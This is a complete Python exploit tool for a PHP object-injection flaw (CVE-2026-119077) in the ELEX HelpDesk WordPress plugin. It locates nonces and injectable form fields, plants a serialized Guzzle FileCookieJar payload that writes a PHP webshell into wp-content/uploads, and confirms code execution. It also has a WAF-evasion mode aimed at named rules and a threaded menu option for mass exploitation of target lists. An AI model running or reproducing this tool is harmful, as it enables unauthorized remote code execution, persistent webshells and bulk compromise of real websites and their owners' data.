#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/im0xfay/CVE-2026-119077 (see README for attribution/license)
"""
poc.py — CVE-2026-119077 — <judul singkat>

Template Robust PoC (0xfay). Salin lalu isi `Target.detect()` dan `build_stages()`.

Pemakaian:
    python3 poc.py                     # menu interaktif (jalur utama operator)
    python3 poc.py -u https://t        # single scan
    python3 poc.py -u https://t --exploit
    python3 poc.py -l targets.txt --exploit --threads 20 --delay 0.3

Exit code: 0 ada outcome, 1 tidak rentan, 2 error operasional.

Tanpa batasan buatan: `--exploit` default ON saat dipilih dari menu mode exploit;
deteksi tetap aman (read-only) sampai stage exploit dijalankan.
"""

from __future__ import annotations

import argparse
import json
import os
import random
import re
import secrets
import string
import sys
import threading
import time
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass, field
from typing import Callable, Optional

try:
    import requests
    from requests.adapters import HTTPAdapter
    from urllib3.util.retry import Retry
except ImportError:
    sys.stderr.write("butuh: pip install requests\n")
    raise SystemExit(2)

urllib3 = __import__("urllib3")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# make the sibling payload builder importable no matter the working directory
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))

# ---------------------------------------------------------------- konfigurasi

VERSION = "1.0"
UA_POOL = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0",
]
TIMEOUT = (6, 18)          # (connect, read) — tuple didukung requests
DISCOVERY_TIMEOUT = (4, 8)
RERUN_STABILITY = 3

STATES = (
    "REACHABLE", "FINGERPRINTED", "ENDPOINT_FOUND", "BLOCKED", "NOT_FOUND",
    "PATCHED", "INPUT_ACCEPTED", "TRIGGERED", "EXECUTED", "OUTCOME_REACHED",
    "ASSUMED", "ERROR",
)
TAG = {
    "OUTCOME_REACHED": "ROOT", "EXECUTED": "RCE", "TRIGGERED": "VULN",
    "INPUT_ACCEPTED": "INFO", "PATCHED": "PATCHED", "BLOCKED": "BLOCKED",
    "NOT_FOUND": "SKIP", "ASSUMED": "ASSUMED", "ERROR": "ERR",
    "FINGERPRINTED": "INFO", "ENDPOINT_FOUND": "INFO", "REACHABLE": "INFO",
}

# ---------------------------------------------------------------- transport


class Pacer:
    def __init__(self, delay: float = 0.0, max_delay: float = 8.0):
        self.delay = delay
        self.max_delay = max_delay
        self.lock = threading.Lock()

    def wait(self):
        if self.delay > 0:
            time.sleep(self.delay * random.uniform(0.6, 1.4))

    def ok(self):
        with self.lock:
            self.delay = max(0.0, self.delay * 0.9)

    def blocked(self):
        with self.lock:
            self.delay = min(self.max_delay, max(0.5, self.delay * 2 + 0.5))
            d = self.delay
        time.sleep(d)


class Transport:
    def __init__(self, base: str, proxies=None, verify=False, pacer: Optional[Pacer] = None):
        self.base = normalize_url(base)
        self.pacer = pacer or Pacer()
        self.s = self._session(proxies, verify)

    @staticmethod
    def _session(proxies, verify):
        s = requests.Session()
        s.verify = verify
        if proxies:
            s.proxies.update(proxies)
        retry = Retry(
            total=2, connect=2, read=2, status=2, backoff_factor=0.6,
            status_forcelist=(500, 502, 503, 504, 522, 524, 429),
            allowed_methods=frozenset(["GET", "POST", "HEAD", "PUT", "OPTIONS"]),
            raise_on_status=False, respect_retry_after_header=True,
        )
        ad = HTTPAdapter(max_retries=retry, pool_connections=64, pool_maxsize=64)
        s.mount("http://", ad)
        s.mount("https://", ad)
        s.headers.update({
            "User-Agent": random.choice(UA_POOL),
            "Accept": "text/html,application/json,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.9",
        })
        return s

    def url(self, path: str) -> str:
        if path.startswith(("http://", "https://")):
            return path
        return self.base + "/" + path.lstrip("/")

    def req(self, method: str, path: str, *, fast=False, retries=1, **kw):
        url = self.url(path)
        kw.setdefault("timeout", DISCOVERY_TIMEOUT if fast else TIMEOUT)
        kw.setdefault("allow_redirects", True)
        self.pacer.wait()
        last = None
        attempts = 0 if fast else retries
        for attempt in range(attempts + 1):
            try:
                r = self.s.request(method, url, **kw)
                r.real_url = url
                if r.status_code in (403, 406, 429, 503):
                    self.pacer.blocked()
                else:
                    self.pacer.ok()
                return r
            except (requests.Timeout, requests.ConnectionError) as e:
                last = e
                if fast:
                    break
                time.sleep(0.4 * (2 ** attempt))
        return None

    def get(self, path, **kw):
        return self.req("GET", path, **kw)

    def post(self, path, **kw):
        return self.req("POST", path, **kw)


def normalize_url(u: str) -> str:
    u = u.strip()
    if not u:
        raise ValueError("url kosong")
    if not u.startswith(("http://", "https://")):
        u = "https://" + u
    p = urllib.parse.urlsplit(u)
    return urllib.parse.urlunsplit((p.scheme, p.netloc, p.path.rstrip("/"), "", ""))


# ---------------------------------------------------------------- hasil


@dataclass
class StageResult:
    state: str
    evidence: dict = field(default_factory=dict)
    next_stage: Optional[str] = None

    def tag(self) -> str:
        return TAG.get(self.state, "INFO")


@dataclass
class TargetReport:
    target: str
    state: str = "REACHABLE"
    reason: str = ""
    evidence: dict = field(default_factory=dict)
    success: Optional[dict] = None


# ---------------------------------------------------------------- reporter


class Reporter:
    def __init__(self, out_dir: str, quiet=False, debug=False):
        try:
            os.makedirs(out_dir, exist_ok=True)
        except (FileExistsError, OSError):
            # a *file* may already occupy the path (stale --output target);
            # fall back to a sibling directory instead of crashing
            out_dir = out_dir.rstrip("/") + "_out"
            os.makedirs(out_dir, exist_ok=True)
        self.dir = out_dir
        self.quiet = quiet
        self.debug = debug
        self.lock = threading.Lock()
        self.counters = {k: 0 for k in
                         ("vuln", "rce", "root", "shell", "patched", "blocked",
                          "not_found", "assumed", "error", "total")}
        self.hits = []
        self.results_path = os.path.join(out_dir, "results.jsonl")
        self.success_path = os.path.join(out_dir, "success.txt")

    def jsonl(self, rec: dict):
        with self.lock:
            with open(self.results_path, "a", encoding="utf-8") as f:
                f.write(json.dumps(rec, ensure_ascii=False) + "\n")
                f.flush()
                os.fsync(f.fileno())

    def success(self, line: str):
        with self.lock:
            with open(self.success_path, "a", encoding="utf-8") as f:
                f.write(line + "\n")
                f.flush()
                os.fsync(f.fileno())

    def emit(self, tag: str, url: str, ctx: str = "", data=None):
        with self.lock:
            self.counters["total"] += 1
            key = {"VULN": "vuln", "RCE": "rce", "ROOT": "root", "SHELL": "shell",
                   "PATCHED": "patched", "BLOCKED": "blocked", "SKIP": "not_found",
                   "ASSUMED": "assumed", "ERR": "error"}.get(tag)
            if key:
                self.counters[key] += 1
            if not self.quiet:
                line = f"[{tag}] {url}" + (f" ({ctx})" if ctx else "")
                print(line, flush=True)
        self.jsonl({"target": url, "tag": tag, "state": ctx, "data": data})

    def card(self, rep: TargetReport):
        if self.quiet or not rep.success:
            return
        w = 74
        print("┌" + "─" * w + "┐", flush=True)
        print(f"│ ✔ {rep.target[: w - 4]:<{w - 2}} │", flush=True)
        for k, v in rep.success.items():
            print(f"│   {k:<12} {str(v)[: w - 16]:<{w - 16}} │", flush=True)
        print("└" + "─" * w + "┘", flush=True)

    def summary(self, elapsed: float):
        if self.quiet:
            return
        print("\n" + "=" * 60, flush=True)
        parts = " ".join(f"{k.upper()}:{v}" for k, v in self.counters.items() if v)
        print(f"[RINGKASAN] {parts}", flush=True)
        if self.counters["total"]:
            print(f"[RINGKASAN] waktu {elapsed:.1f}s "
                  f"({self.counters['total'] / max(elapsed, 0.001):.2f} t/s)", flush=True)
        print(f"hasil: {self.results_path}", flush=True)
        if os.path.exists(self.success_path):
            print(f"hit   : {self.success_path}", flush=True)
        print("=" * 60, flush=True)


# ---------------------------------------------------------------- target


class Target:
    """Satu target: transport + fingerprint + stage chain."""

    def __init__(self, url: str, opts: argparse.Namespace, reporter: Reporter,
                 pacer: Optional[Pacer] = None):
        self.url = normalize_url(url)
        self.opts = opts
        self.rep = reporter
        self.t = Transport(self.url, proxies=parse_proxy(opts.proxy),
                           verify=opts.verify_tls, pacer=pacer)
        self.fp: dict = {}
        self.ctx: dict = {}          # state antar-stage (nonce, endpoint, shell url...)
        self.chain = build_stages()

    # --- fingerprint: WordPress + ELEX HelpDesk (wsdesk) -------------------
    def detect(self) -> dict:
        fp = {"cms": None, "plugin": None, "version": None, "conf": 0, "signals": []}
        for probe in ("/", "/?p=1", "/readme.html"):
            r = self.t.get(probe, fast=True)
            if r is None:
                continue
            body = r.text[:400000]
            hdrs = {k.lower(): v for k, v in r.headers.items()}
            if "/wp-content/" in body or "wp-json" in str(hdrs.get("link", "")):
                fp["cms"] = "wordpress"
                fp["conf"] += 2
                fp["signals"].append("wp-content")
            m = re.search(r'content="WordPress ([\d.]+)', body)
            if m:
                fp["version"] = m.group(1)
                fp["conf"] += 1
                fp["signals"].append("generator")
            if "elex-helpdesk" in body or "wsdesk" in body.lower():
                fp["plugin"] = "elex-helpdesk"
                fp["conf"] += 2
                fp["signals"].append("wsdesk-ref")
            if fp["cms"]:
                break
        # plugin presence via its stable asset/readme paths
        for path in (
            "/wp-content/plugins/elex-helpdesk-customer-support-ticket-system/readme.txt",
            "/wp-content/plugins/elex-helpdesk-customer-support-ticket-system/assets/css/crm_support.css",
        ):
            r = self.t.get(path, fast=True)
            if r is not None and r.status_code == 200 and len(r.text) > 100:
                fp["plugin"] = "elex-helpdesk"
                fp["conf"] += 2
                fp["signals"].append("plugin-file")
                vm = re.search(r"Stable tag:\s*([\d.]+)", r.text)
                if vm and not fp.get("plugin_version"):
                    fp["plugin_version"] = vm.group(1)
                break
        return fp
    # --- shared helpers -----------------------------------------------------
    def _rebase(self, url: str) -> str:
        """Rebase a server-published absolute URL onto the target's own scheme/host.

        WordPress publishes `ajax_url` from its configured site URL, which is
        routinely a different scheme/host than the one being assessed (e.g. it
        says https:// behind a plain-HTTP proxy, or the real domain while we talk
        to an origin IP). Trusting it verbatim turns every POST into an SSLError
        against an HTTP port. Keep the PATH (subdirectory installs) but always use
        the scheme/host/port we actually reached the target on.
        """
        p = urllib.parse.urlsplit(url)
        return urllib.parse.urlunsplit(
            (self.t.base.split("://")[0], urllib.parse.urlsplit(self.t.base).netloc,
             p.path, p.query, ""))

    def wp_ajax(self) -> str:
        """Absolute admin-ajax.php URL (handles subdirectory installs)."""
        if "ajax_url" in self.ctx:
            return self._rebase(self.ctx["ajax_url"])
        guess = self.url + "/wp-admin/admin-ajax.php"
        probe = self.t.get("/wp-admin/admin-ajax.php", fast=True)
        if probe is not None and probe.status_code < 500:
            return guess
        # fall back to scraping it out of the front page JS
        r = self.t.get("/", fast=True)
        if r is not None:
            m = re.search(r'"(https?://[^"]*?/wp-admin/admin-ajax\.php)"', r.text)
            if m:
                return self._rebase(m.group(1))
        return guess
    def post_form(self, action: str, data: dict, fast=False, retries=2):
        """POST to admin-ajax.php with the given action merged in."""
        body = dict(data)
        body["action"] = action
        return self.t.post(self.wp_ajax(), data=body, fast=fast, retries=retries)


# ---------------------------------------------------------------- stages


class Stage:
    name = "base"

    def run(self, tgt: Target) -> StageResult:      # pragma: no cover - override
        raise NotImplementedError

class DiscoverStage(Stage):
    name = "discover"

    def run(self, tgt):
        r = tgt.t.get("/?probe=%s" % secrets.token_hex(3), fast=True)
        if r is None:
            return StageResult("ERROR", {"reason": "unreachable"})
        return StageResult("REACHABLE", {"status": r.status_code})


class FingerprintStage(Stage):
    name = "fingerprint"

    def run(self, tgt):
        fp = tgt.detect()
        tgt.fp = fp
        if fp["conf"] >= 2:
            return StageResult("FINGERPRINTED", fp)
        return StageResult("ASSUMED", {"reason": "weak fingerprint", "fingerprint": fp})

# nonce + support-page discovery -------------------------------------------

_AJAX_FORM_RE = re.compile(r'name=\\?"([a-zA-Z0-9_]+)')


class SupportPageStage(Stage):
    """Locate a page that emits wsdesk_nonce (any [wsdesk_support] shortcode page)."""
    name = "support_page"

    def run(self, tgt):
        # 1) crawl the front page + common slugs for support_object.nonce
        candidates = ["/", "/support", "/support/", "/help", "/helpdesk",
                      "/my-account/wsdesk_support/", "/?page_id=2", "/?page_id=4"]
        found = None
        blocked = 0
        for path in candidates:
            r = tgt.t.get(path, fast=True)
            if r is None:
                continue
            if r.status_code in (403, 406, 429, 503):
                blocked += 1
                continue
            m = re.search(r'"nonce"\s*:\s*"([a-f0-9]{8,12})"', r.text)
            if m:
                found = (path, m.group(1))
                am = re.search(r'"ajax_url"\s*:\s*"(https?:[^"]+)"', r.text)
                if am:
                    tgt.ctx["ajax_url"] = am.group(1).replace("\\/", "/")
                break
        # 2) if not found, sweep ?page_id for a while
        if not found:
            for pid in range(1, 26):
                r = tgt.t.get(f"/?page_id={pid}", fast=True)
                if r is None:
                    continue
                if r.status_code in (403, 406, 429, 503):
                    blocked += 1
                    continue
                m = re.search(r'"nonce"\s*:\s*"([a-f0-9]{8,12})"', r.text)
                if m:
                    found = (f"/?page_id={pid}", m.group(1))
                    break
        if not found and blocked:
            return StageResult("BLOCKED",
                               {"reason": f"{blocked} candidate pages answered 403/406/429/503",
                                "blocked": blocked})
        if not found:
            return StageResult("NOT_FOUND",
                               {"reason": "no page emits wsdesk_nonce"})
        tgt.ctx["support_path"], tgt.ctx["nonce"] = found
        return StageResult("ENDPOINT_FOUND",
                           {"support_path": found[0], "nonce": found[1]})


class BuildGuardStage(Stage):
    """Decide whether the target build still has the vulnerability at all.

    The 3.4.0 fix runs `eh_crm_has_object_or_serialized_object()` over EVERY parsed
    form value, BEFORE the custom-field allowlist. That makes build detection cheap
    and independent of whether the site has any custom field:

      * patched   -> `{"status":"error","message":"Invalid form data."}`
      * vulnerable-> `{"status":"success",...}`

    One request reveals the answer, which is far more honest than reporting
    "no field -> assumed" when the build is provably fixed.
    """
    name = "build_guard"

    _OBJ = ('O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{s:7:"cookies";a:0:{}'
            's:10:"strictMode";N;s:8:"filename";s:5:"/tmp/x";s:19:"storeSessionCookies";b:1;}')

    def run(self, tgt):
        nonce = tgt.ctx.get("nonce")
        if not nonce:
            return StageResult("ASSUMED", {"reason": "no nonce for build check"})
        form = ("request_email=probe@example.com&request_title=T&request_description=d"
                "&zzzboguskey=" + urllib.parse.quote(self._OBJ, safe=""))
        r = tgt.t.post(tgt.wp_ajax(),
                       data={"action": "eh_crm_new_ticket_post", "nonce": nonce, "form": form},
                       retries=1)
        if r is None:
            return StageResult("ASSUMED", {"reason": "build check unreachable"})
        if "Invalid form data" in r.text:
            tgt.ctx["patched"] = True
            return StageResult("PATCHED",
                               {"reason": "object guard active (plugin >= 3.4.0)",
                                "evidence": r.text[:120]})
        if '"status":"success"' in r.text or '"status": "success"' in r.text:
            tgt.ctx["patched"] = False
            return StageResult("INPUT_ACCEPTED",
                               {"reason": "guard absent (plugin <= 3.3.9)", "evidence": r.text[:120]})
        return StageResult("ASSUMED", {"reason": "build check inconclusive",
                                       "evidence": r.text[:120]})


class FieldDiscoveryStage(Stage):
    """Enumerate live form field slugs served by eh_crm_new_ticket_form."""
    name = "field_discovery"

    def run(self, tgt):
        nonce = tgt.ctx.get("nonce")
        if not nonce:
            return StageResult("ASSUMED", {"reason": "no nonce"})
        ajax = tgt.wp_ajax()
        r = tgt.t.post(ajax, data={"action": "eh_crm_new_ticket_form", "nonce": nonce}, fast=True)
        if r is None or r.status_code != 200 or "success" not in r.text:
            return StageResult("ASSUMED", {"reason": "form endpoint silent"})
        try:
            page = json.loads(r.text)["data"]["page"]
        except Exception:
            page = r.text
        slugs = sorted(set(_AJAX_FORM_RE.findall(page)))
        tgt.ctx["slugs"] = slugs
        reserved = {"request_email", "request_title", "request_description"}
        injectable = [s for s in slugs if s not in reserved]
        if not injectable:
            # 3.3.9 unset()s the defaults; without a custom field there is no wire in.
            return StageResult("ASSUMED",
                               {"reason": "no custom field slug in live form "
                                          "(clean install is not exploitable)",
                                "slugs": slugs})
        tgt.ctx["inject_slug"] = injectable[0]
        return StageResult("INPUT_ACCEPTED",
                           {"slugs": slugs, "inject_slug": injectable[0]})


class ExploitStage(Stage):
    """Plant the serialized object and reach a controlled outcome."""
    name = "exploit"

    def run(self, tgt):
        if not tgt.opts.exploit:
            return StageResult("ENDPOINT_FOUND",
                               {"reason": "detect-only (use --exploit)"})
        slug = tgt.ctx.get("inject_slug")
        nonce = tgt.ctx.get("nonce")
        if not (slug and nonce):
            return StageResult("ASSUMED", {"reason": "no injectable slug/nonce"})
        for strat in self.strategies(tgt):
            res = strat(tgt)
            if res is None:
                continue
            if res.state in ("EXECUTED", "OUTCOME_REACHED", "TRIGGERED", "PATCHED"):
                return res
        return StageResult("ASSUMED", {"reason": "no strategy reached outcome"})

    def strategies(self, tgt):
        order = [self._write_shell, self._write_shell_waf]
        if getattr(tgt.opts, "waf", False):
            order.reverse()
        return order + [self._staged_trigger]

    def _encode_form(self, fields: dict) -> str:
        """Build the `form` POST value so serialized quotes survive.

        Chain of decodes: requests urlencodes the body once, then (server side)
        WordPress slashes $_POST, then `parse_str()` urldecodes a SECOND time.

        So we pre-encode the payload's quotes as `%22` inside the inner string and
        let `requests` perform the single transport-level encoding. After PHP's
        transport decode the value still holds `%22`; WP slashing has no quote to
        touch; `parse_str()` finally turns `%22` back into a raw `"`.
        """
        return "&".join("%s=%s" % (k, v) for k, v in fields.items())

    def _write_shell(self, tgt):
        from wsdesk_payload import file_cookie_jar, DEFAULT_PHP
        nonce = tgt.ctx["nonce"]
        slug = tgt.ctx["inject_slug"]
        name = "0xfay_%s.php" % secrets.token_hex(4)
        shell_dir = tgt.opts.shell_dir.strip("/") or "wp-content/uploads"
        abs_root = tgt.opts.abs_root.rstrip("/") or "/var/www/html"
        dirs = [shell_dir] + [d for d in
                              ("wp-content/uploads", "wp-content/cache", "wp-content/mu-plugins")
                              if d != shell_dir]
        last_status = None
        patched = False
        for d in dirs:
            rel = d + "/" + name
            abs_path = abs_root + "/" + rel
            payload = file_cookie_jar(abs_path, DEFAULT_PHP)
            # WP's magic-quotes run addslashes() over $_POST, which escapes `"`, `\`
            # AND NUL — all three appear in a serialized Guzzle object (namespace
            # separators and private-property NUL markers). Percent-encode the whole
            # payload so addslashes sees nothing to escape; `requests` then encodes
            # this once more (`%` -> `%25`) and `parse_str()` decodes the result back
            # to the exact original bytes.
            payload_enc = urllib.parse.quote(payload.decode("latin1"), safe="")
            form = self._encode_form({
                "request_email": "0xfay_%s@example.com" % secrets.token_hex(3),
                "request_title": "0xfay",
                "request_description": "0xfay",
                slug: payload_enc,
            })
            data = {"action": "eh_crm_new_ticket_post", "nonce": nonce, "form": form}
            r = tgt.t.post(tgt.wp_ajax(), data=data, retries=2)
            if r is None:
                continue
            # patched plugin (>=3.4.0) rejects the payload with the object guard
            if "Invalid form data" in r.text:
                patched = True
                tgt.ctx.setdefault("notes", []).append(f"{rel}: guard rejected payload")
                continue
            tgt.ctx.setdefault("notes", []).append(f"{rel}: HTTP {r.status_code}")
            v = tgt.t.get(rel + "?a=id", fast=True)
            if v is not None and ("uid=" in v.text or "gid=" in v.text):
                tgt.ctx["shell_url"] = tgt.url + "/" + rel
                proof = re.sub(r'^\[.*?\]', "", v.text.strip())[:200]
                return StageResult("EXECUTED",
                                   {"shell": tgt.url + "/" + rel, "path": abs_path,
                                    "proof": proof.strip()})
        tgt.ctx["patched"] = patched
        if last_status is not None and not patched:
            tgt.ctx.setdefault("notes", []).append("no shell answered; last=%s" % last_status)
        return None

    def _write_shell_waf(self, tgt):
        """WAF-resistant write: no literal NUL, no `var/www`, no PHP superglobal.

        Defeats the three CRS triggers observed in front of the lab:
          * 920270 (raw NUL)        -> `S:` serialization escapes NUL as \\00
          * 930120 (phrase `var/www`)-> relative path (`../wp-content/uploads/...`)
          * 933130 (phrase `$_GET`)  -> PHP body with no superglobal literal
        Selected automatically when the plain strategy is blocked, or forced
        with --waf.
        """
        from wsdesk_payload import file_cookie_jar_s
        nonce = tgt.ctx["nonce"]
        slug = tgt.ctx["inject_slug"]
        name = "0xfay_%s.php" % secrets.token_hex(4)
        # pre-encoded `id` command; keeps the body free of $_GET/$_REQUEST etc.
        from base64 import b64encode
        cmd = tgt.opts.shell_cmd or "id"
        php = b"<?php passthru(base64_decode('" + b64encode(cmd.encode()) + b"')); ?>"
        rel = "../wp-content/uploads/" + name
        payload = file_cookie_jar_s(rel, php)
        payload_enc = urllib.parse.quote(payload.decode("latin1"), safe="")
        form = self._encode_form({
            "request_email": "0xfay_%s@example.com" % secrets.token_hex(3),
            "request_title": "0xfay",
            "request_description": "0xfay",
            slug: payload_enc,
        })
        data = {"action": "eh_crm_new_ticket_post", "nonce": nonce, "form": form}
        r = tgt.t.post(tgt.wp_ajax(), data=data, retries=2)
        if r is None:
            return None
        if "Invalid form data" in r.text:
            tgt.ctx["patched"] = True
            tgt.ctx.setdefault("notes", []).append("waf: guard rejected payload")
            return None
        tgt.ctx.setdefault("notes", []).append("waf: HTTP %s" % r.status_code)
        if r.status_code in (403, 406, 429, 503):
            return None
        v = tgt.t.get("wp-content/uploads/" + name + "?a=id", fast=True)
        if v is not None and ("uid=" in v.text or "gid=" in v.text):
            url = tgt.url + "/wp-content/uploads/" + name
            tgt.ctx["shell_url"] = url
            proof = re.sub(r'^\[.*?\]', "", v.text.strip())[:200]
            return StageResult("EXECUTED",
                               {"shell": url, "path": rel, "proof": proof.strip(),
                                "technique": "waf-bypass (S-format + relative path + no-superglobal)"})
        return None

    def _staged_trigger(self, tgt):
        """Report only when the payload actually reached the deserializer.

        A guard-rejected POST must NEVER be reported as VULN — that is a false
        positive. We claim TRIGGERED only when the server accepted the object
        (HTTP 200/302, no guard rejection) but the shell could not be read back,
        e.g. a non-executable uploads dir or the slower C4 trigger path.
        """
        if tgt.ctx.get("patched"):
            return StageResult("PATCHED",
                               {"reason": "object guard active (plugin >= 3.4.0)",
                                "notes": tgt.ctx.get("notes", [])})
        notes = tgt.ctx.get("notes", [])
        reached = any("guard rejected" not in n for n in notes)
        if reached:
            return StageResult("TRIGGERED",
                               {"reason": "payload reached the deserializer; shell not "
                                          "readable back (non-exec dir or delayed trigger)",
                                "notes": notes})
        return None


def build_stages() -> list[Stage]:
    return [DiscoverStage(), FingerprintStage(), SupportPageStage(),
            BuildGuardStage(), FieldDiscoveryStage(), ExploitStage()]


# ---------------------------------------------------------------- runner


def run_target(url: str, opts, reporter: Reporter, pacer: Optional[Pacer]) -> TargetReport:
    rep = TargetReport(target=normalize_url(url))
    try:
        tgt = Target(url, opts, reporter, pacer)
    except ValueError as e:
        rep.state, rep.reason = "ERROR", str(e)
        reporter.emit("ERR", url, f"invalid url: {e}")
        return rep

    stop_states = ("OUTCOME_REACHED", "EXECUTED", "ERROR", "PATCHED", "NOT_FOUND")
    for stage in tgt.chain:
        try:
            res = stage.run(tgt)
        except Exception as e:                      # never crash a worker
            rep.state, rep.reason = "ERROR", repr(e)[:160]
            rep.evidence[stage.name] = {"exception": repr(e)[:200]}
            break
        rep.state = res.state
        rep.evidence[stage.name] = res.evidence
        rep.reason = res.state
        if res.state in stop_states:
            break
        if res.state == "ASSUMED" and opts.strict:
            break

    # promote EXECUTED (shell answering `id`) to the strongest tag the reporter knows
    tag = TAG.get(rep.state, "INFO")
    if rep.state == "EXECUTED":
        rep.success = {}
        for k, v in rep.evidence.get("exploit", {}).items():
            if k in ("shell", "path", "proof"):
                rep.success[k] = v
        rep.success["target"] = rep.target
        reporter.success(f"{rep.target} | shell={rep.evidence['exploit'].get('shell')}")
    # Context must come from the stage that PRODUCED the final state, not the first
    # stage that happens to carry a "reason" (discover/fingerprint often do, which
    # used to label a PATCHED result with "build check inconclusive").
    ctx = ""
    for name, d in rep.evidence.items():
        if isinstance(d, dict) and d.get("state") == rep.state and d.get("reason"):
            ctx = str(d["reason"])
            break
    if not ctx:
        for name, d in rep.evidence.items():
            if isinstance(d, dict) and d.get("reason") and name != "discover":
                ctx = str(d["reason"])
                break
    if rep.state == "EXECUTED":
        ctx = rep.evidence["exploit"].get("shell", "shell ok")
    reporter.emit(tag, rep.target, ctx, rep.evidence)
    if rep.success:
        reporter.card(rep)
    return rep


def parse_proxy(p):
    if not p:
        return None
    return {"http": p, "https": p}


def load_targets(path: str) -> list[str]:
    out = []
    with open(path, encoding="utf-8", errors="replace") as f:
        for line in f:
            line = line.strip()
            if line and not line.startswith("#"):
                out.append(line)
    return out


def run_mass(targets, opts, reporter):
    pacer = Pacer(delay=opts.delay)
    start = time.time()
    done = 0
    with ThreadPoolExecutor(max_workers=max(1, opts.threads)) as ex:
        futs = {ex.submit(run_target, u, opts, reporter, pacer): u for u in targets}
        try:
            for fut in as_completed(futs):
                done += 1
                try:
                    fut.result()
                except Exception as e:      # crash-safe per worker
                    reporter.emit("ERR", futs[fut], repr(e)[:120])
                if not opts.quiet and done % 25 == 0:
                    c = reporter.counters
                    print(f"[{done}/{len(targets)}] VULN:{c['vuln']} RCE:{c['rce']} "
                          f"PATCHED:{c['patched']} BLOCKED:{c['blocked']} "
                          f"ERR:{c['error']}", flush=True)
        except KeyboardInterrupt:
            print("\n[!] dihentikan — hasil parsial sudah tersimpan", flush=True)
            for f in futs:
                f.cancel()
    reporter.summary(time.time() - start)
    c = reporter.counters
    return 0 if (c["vuln"] or c["rce"] or c["root"] or c["shell"]) else 1


# ---------------------------------------------------------------- menu


def banner():
    if not sys.stdout.isatty():
        return
    print(r"""
  ___        _   0xfay        CVE PoC
 / _ \__  __/ |_ __ _ _   _
| |_| \ \/ /| __/ _` | | | |
 \___/ >  < | || (_| | |_| |
     /_/\_\  \__\__,_|\__, |
                      |___/   robust-poc-engineering v%s
""" % VERSION, flush=True)


def menu(opts: argparse.Namespace) -> int:
    banner()
    while True:
        print("  1  single scan      (detect, read-only)")
        print("  2  single exploit   (detect + exploit)")
        print("  3  mass scan        (targets file, detect)")
        print("  4  mass exploit     (targets file, detect + exploit)")
        print("  0  keluar")
        try:
            ch = input("pilih> ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            return 1
        if ch == "0":
            return 1
        if ch in ("1", "2"):
            u = input("url> ").strip()
            if not u:
                continue
            opts.exploit = ch == "2"
            reporter = Reporter(opts.output, opts.quiet, opts.debug)
            try:
                r = run_target(u, opts, reporter, Pacer(opts.delay))
            except KeyboardInterrupt:
                continue
            print(f"\n[STATE] {r.state}", flush=True)
            continue
        if ch in ("3", "4"):
            p = input("targets file> ").strip()
            if not p or not os.path.exists(p):
                print("[!] file tidak ada")
                continue
            opts.exploit = ch == "4"
            reporter = Reporter(opts.output, opts.quiet, opts.debug)
            return run_mass(load_targets(p), opts, reporter)
        print("[!] pilihan tidak dikenal")


# ---------------------------------------------------------------- main


def parse_args(argv=None):
    p = argparse.ArgumentParser(description="CVE-2026-119077 PoC — robust")
    p.add_argument("-u", "--url", help="single target URL")
    p.add_argument("-l", "--targets", help="file berisi daftar target")
    p.add_argument("--exploit", action="store_true", help="jalankan stage exploit")
    p.add_argument("--threads", type=int, default=10)
    p.add_argument("--shell-dir", default="wp-content/uploads",
                   help="web-relative dir for the shell (default wp-content/uploads)")
    p.add_argument("--waf", action="store_true",
                   help="pakai teknik bypass WAF lebih dulu (S-format + path relatif + body tanpa superglobal)")
    p.add_argument("--shell-cmd", default="id",
                   help="perintah yang ditanam di webshell (default: id)")
    p.add_argument("--abs-root", default="/var/www/html",
                   help="absolute docroot on the server (default /var/www/html)")
    p.add_argument("--delay", type=float, default=0.0, help="jeda dasar antar request")
    p.add_argument("--timeout", type=int, default=0, help="override read timeout")
    p.add_argument("--proxy", help="http:// atau socks5h://")
    p.add_argument("--verify-tls", action="store_true")
    p.add_argument("--strict", action="store_true", help="berhenti pada state ASSUMED")
    p.add_argument("--output", default="out", help="direktori hasil")
    p.add_argument("--quiet", action="store_true")
    p.add_argument("--debug", action="store_true")
    p.add_argument("-v", "--version", action="version", version=VERSION)
    return p.parse_args(argv)


def main(argv=None) -> int:
    try:
        sys.stdout.reconfigure(encoding="utf-8", errors="replace")
    except Exception:
        pass
    args = parse_args(argv)
    if args.timeout:
        global TIMEOUT
        TIMEOUT = (6, args.timeout)
    if not args.url and not args.targets:
        return menu(args)
    reporter = Reporter(args.output, args.quiet, args.debug)
    if args.url:
        start = time.time()
        r = run_target(args.url, args, reporter, Pacer(args.delay))
        reporter.summary(time.time() - start)
        return 0 if r.state in ("TRIGGERED", "EXECUTED", "OUTCOME_REACHED") else 1
    targets = load_targets(args.targets)
    if not targets:
        print("[!] targets kosong")
        return 1
    return run_mass(targets, args, reporter)


if __name__ == "__main__":
    raise SystemExit(main())
